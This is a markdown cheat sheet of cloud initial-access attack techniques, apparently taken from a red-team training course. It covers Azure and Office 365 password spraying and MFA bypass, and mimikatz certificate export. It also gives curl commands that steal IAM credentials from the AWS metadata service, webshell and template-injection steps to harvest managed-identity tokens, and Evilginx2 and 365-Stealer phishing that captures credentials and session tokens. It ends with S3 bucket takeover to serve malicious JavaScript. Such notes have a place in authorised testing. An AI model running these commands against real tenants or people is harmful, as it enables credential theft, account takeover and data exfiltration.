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initial-access-attacks.md

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Initial access attacks

Password and credentials attacks

Password spraying

Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList validemails.txt -Password <PASSWORD> -Verbose

Find valid emails Azure

  • Explained in Recon or use the command below
C:\Python27\python.exe o365creeper.py -f emails.txt -o validemails.txt

Trevorspray

Bypass mfa

MFAsweep

Invoke-MFASweep -Username <EMAIL> -Password <PASSWORD>

Key disclosure in public repositories

Gitleaks

Search for secrets

./gitleaks detect -v source <DIRECTORY>

Use web browser to view the commit

https://github.com/[git account]/[repo name]/commit/[commit ID]

Reused access

  • certs as private keys on web servers
  1. Comprimise web server
  2. Extract certificate with mimkatz
  3. Use it to authenticate to Azure
mimikatz# crypto::capi
mimikatz# privilege::debug
mimikatz# crypto::cng
mimikatz# crypto::certificates /systemstore:local_machine /store:my /export

AWS Instance Metadata

  • Metadata endpoint is hosted on a non routable IP adress at 169.254.169.254
  • Can contain access/secret keys to AWS and IAM credentials
  • Server compromise or SSRF vulnerabilities might allow remote attackers to reach it.
  • IAM credentials can be stored here http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
  • New version requeres token, a put request is send and then responded to with a token. Then that token can be used to query data

Instance Metadata Service URL

http://169.254.169.254/latest/meta-data

Additional IAM creds possibly available here

http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
  • Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured
curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo

IMDS Version 2 has some protections

  • but these commands can be used to access it
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Web application vulnerabilities

  • Here are some generic things ot look for:
    • Out of date web technologies with known vulns
    • SQL or command injection vulns
    • Server-side-request forgery (SSRF)
    • Arbitrary file upload
  • Good place to start post shell:
    • Creds in metadata service
    • Certificates
    • Environment variables
    • Storage Accounts

Insecure file upload

  • Upload a webshell to a insecure webapp
  • If command execution is possible execute command env
  • if the app service contains environment variables IDENITY_HEADER and IDENTITY_ENDPOINT, it has a managed identity.
  • Get access token from managed identity using another webshell. Upload studentxtoken.phtml

Server Side Template Injection

  • SSTI allows an attacker to abuse template syntax to inject payloads in a template that is executed on the server side.
  • That is, we can get command execution on a server by abusing this.
  • Find we webapp which is vulnerable, test with injectin a expression {{7*7}} and see if it gets evaluated.
  • The way expression is evaluated means that, most probably, either PHP or Python is used for the web app. We may need to run some trial and error methods to find out the exact language and template framework.
  • Use {{config.items()}} and see if it works.
  • Check if a managed identity is assigned (Check for the env variables IDENTITY_HEADER and IDENTITY_ENDPOINT)
  • If code execution is possible execute the following to get a ARM access token for the managed identity:
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Request keyvault Access token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Request AADGraph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

OS Command injection

  • In case of OS command injection, it is possible to run arbitrary operating system commands on the server where requests are processed.
  • This is usually due to insecure parsing of user input such as parameters, uploaded files and HTTP requests.

Phishing

Phishing Evilginx2

  • https://github.com/kgretzky/evilginx2
  • Evilginx acts as a relay/man-in-the-middle between the legit web page and the target user. The user always interacts with the legit website and Evilginx captures usernames, passwords and authentication cookies.

Start evilgix2

evilginx2 -p C:\AzAD\Tools\evilginx2\phishlets

Configure the domain

config domain studentx.corp

Set the IP for the evilginx server

config ip xx.xx.xx.xx

Use the template for office365

phishlets hostname o365 <DOMAIN>

Verify the DNS entries

phishlets get-hosts o365

Copy the certificate and private key

0365.cr and 0365.key from C:\studentx\.evilginx\crt to C:\studentx\.evilginx\crt\login.studentx.corp

Enable phishlets

phislets enable 0365

Create the phishing URL (Tied to an ID)

lures create 0365

Get the phishing URL

  • Share the phishing URL with the victim
lures get-url <ID>

Illicit Consent Grant phishing

Create a application

  • Login to the Azure portal and in the left menu go to 'Azure Active Directory' --> 'App registrations' and click 'new registration'
  • Set a application name and choose 'Accounts in any organizational directory (Any Azure AD Directory - Multitenant'
  • Use the URL of the student VM in the URI (https://xx.xx.xx.xx/login/authorized)
  • In the left menu go to 'Certificates & Secrets' and create a new client secret and copy it.
  • In the left menu go to 'API permissions' and add the 'user.read' and 'User.ReadBasic.All' for the Microsoft Graph.

Check if users are allowed to consent to apps

Import-Module AzureADPreview.psd1

#Use another tenant account
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

#output should be
ManagePermissionGrantsForSelf.microsoft-user-default-legacy

Setup the 365-stealer

  • Copy the 365-stealer directory to the xampp directory
  • Edit the 365-stealer.py and edit the CLIENTID (client application id), REDIRECTEDURL and CLIENTSECRET (From the certificate)

Start the 365-stealer

&"C:\Program Files\Python38\python.exe" C:\xampp\htdocs\365-Stealer\365-Stealer.py --run-app

Get the phishinglink

Enumerating applications to send the phishing link

  • Edit the permutations.txt to add permutations such as career, hr, users, file and backup
. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureSubDomains.ps1
Invoke-EnumerateAzureSubDomains -Base <BASE> –Verbose

Get the access tokens

Get admin consent

- In the left menu go to 'API permissions' and add the mail.read, notes.read.all, mailboxsettings.readwrite, files.readwrite.all, mail.send to Microsoft Graph.
- Refish the user to get a token with the extra permissions

Start a listener

nc.exe -lvp 4444

Abuse the access token - Uploading word doc to OneDrive

cd C:\xampp\htdocs\365-Stealer\

& 'C:\Program Files\Python38\python.exe' 365-Stealer.py --upload <PATH TO DOC> --token-path C:\xampp\htdocs\365-Stealer\yourVictims\<USER>\access_token.txt

Refresh all tokens

  • Access token is valid for 1 hour, can't be revoked.
  • Refresh token is valid for 90 days but can be revoked.
python 365-Stealer.py --refresh-all

Google workspace calendar event injection

Public Storage

Find data in public storage

Public azure blobs

Invoke-EnumerateAzureBlobs –Base <base name>

Enumerate Azureblobs

  • add permutations to permutations.txt like common, backup, code in the misc directory.
Import-Module ./Microburst.psm1
Invoke-EnumerateAzureBlobs -Base defcorp

Public AWS blobs

Brute force bucket names

python3 cloud_enum.py -k <KEYWORD>

Use the AWS CLI to list the files of the s3 bucket

sudo aws s3 ls s3://<BUCKET> --profile <PROFILE>

Use the AWS CLI to download the files of the s3 bucket

sudo aws s3 sync s3://<BUCKET> s3-files-dir --profile <PROFILE>

Public Google Storage Buckets

Public SQL database

Misc

S3 code injection

  • If a webapp is loading content from an s3 bucket made publicly writeable. Attackers can upload malicious JS to get executed by visitors.

Domain hijacking

  • Hijack S3 domain by finding references in a webapp to S3 buckets that dont exist anymore.
  • Or subdomains were linked to S3 buckets with CNAME that still exist.
  • When assessing webapps look for 404's to *.s3.amazonaws.com
  1. When brute forcing subdomains for an org look for 404’s with ‘NoSuchBucket’ error
  2. Go create the S3 bucket with the same name and region
    1. Load malicious content to the new S3 bucket that will be executed when visitors hit the site